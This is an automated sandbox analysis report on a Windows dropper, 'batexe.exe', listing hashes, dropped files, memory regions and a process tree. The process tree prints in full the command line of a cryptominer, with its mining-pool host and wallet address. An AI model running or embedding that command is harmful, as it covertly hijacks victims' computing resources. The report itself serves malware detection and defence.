73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
295s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 06:57

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3912	b2e.exe
4760	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4544-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 3912	4544	batexe.exe	74
PID 4544 wrote to memory of 3912	4544	batexe.exe	74
PID 4544 wrote to memory of 3912	4544	batexe.exe	74
PID 3912 wrote to memory of 4744	3912	b2e.exe	75
PID 3912 wrote to memory of 4744	3912	b2e.exe	75
PID 3912 wrote to memory of 4744	3912	b2e.exe	75
PID 4744 wrote to memory of 4760	4744	cmd.exe	78
PID 4744 wrote to memory of 4760	4744	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Users\Admin\AppData\Local\Temp\C709.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\C709.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C709.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CB2F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C709.tmp\b2e.exe

Filesize
4.3MB

MD5
ec73e2f1fd3e13700558acf51ee4c64f

SHA1
7bda4d8920eb84ad360fb81f77e710bd8da4e78a

SHA256
27b7c2a23f557cd0e518aa4829093fa5ebcdd31281f005100a00b0cb142baed6

SHA512
6538a2373aca40bc1087ddc68d4065f9b3f86fb4d0ea591c81aecd9527b70d49a2f939a76124a593568af297de37b4972197f9e4770aba9575f3c4e37cb02815

Download Submit
C:\Users\Admin\AppData\Local\Temp\C709.tmp\b2e.exe

Filesize
4.6MB

MD5
7d7868459691a2c328873b785a431e5c

SHA1
6c3ff9e0d21a95df0900c498d1bd6b29b6a780d9

SHA256
fc1461f288f8798085b382f92a49c1f41127d18a15ff96d5c772f58a34c032c5

SHA512
e6cd8ff58d9b05ea241678f213047b679b1df9787d5f3608015764a4bf3b46bfb6c76e6b6c7407cde0c1200d5c95720a602a857710b3fe615990f4cab5269b63

Download Submit
C:\Users\Admin\AppData\Local\Temp\CB2F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
23d79e5c9aab672f8f60c5eebe49095a

SHA1
a104fcef7239607ddf1efe7b2c23e746dfbd0dcf

SHA256
698e05c0e81105d7f7175ef33574ef428340bd4729564a58f6190349283e636a

SHA512
03fbe3b84107563ea0e7b6b345b4cb4a3bd09153068643c1a96e53bf7504b004458859dfea0c66da065defc293436f3449e568b922f1796f33850f145f8a07eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
b465230cf79fcd815a31dad053d1dbe1

SHA1
f1bf5606ba3d1bb49d9437b5ba489fd9e8614ace

SHA256
cd616032256b5c1fdad92cf551a04c9f8fb9292262b19af72c1d8406b8baf865

SHA512
b832fcdf586c0afad6f0fc7dd315ba3ae05d3e49ca730ddba0ac463620afd44215a3e2d3f906de41e4448dd91610b13633148048819156aa27a4ee3155d3e9bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
e5ad741b50e51cfb77f8bc80e669acf4

SHA1
19a1ecff5b7aa7008d0b1d70dc2aa4b1b2ed9e86

SHA256
c9edf0f5691a3cab0fbf0d94c28b2dccb6e155e541a871b29873aeeb1a7f1c1d

SHA512
1342b8d883586a5946bf83d6e31a4a078dcce1651a0ed2eabe3d539adb1a3b0c14f821161f82b228a3d3814bf39bbc401ffd5128c80805afd8cd4b37bbf04e63

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.8MB

MD5
44eab7f8c8f0a532362a62989d60707e

SHA1
7b4de07f92c20d2d5ebc787efe705ad542a476bd

SHA256
46aa7b44fbbed2cae13fff12ec236504b5fd1e15bf3a6d531cf2c16ba6ea5499

SHA512
bd9ce72bade604a299c74ae643aacab623a92a2b8c38a11893549ab329566325d3fc6b7605f51b28f039d0e6790d889b515f65ebc5d26a7bf671e24349d7f05f

Download Submit
memory/3912-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3912-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4544-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4760-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4760-42-0x0000000068580000-0x0000000068618000-memory.dmp

Filesize
608KB

Download
memory/4760-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/4760-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4760-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download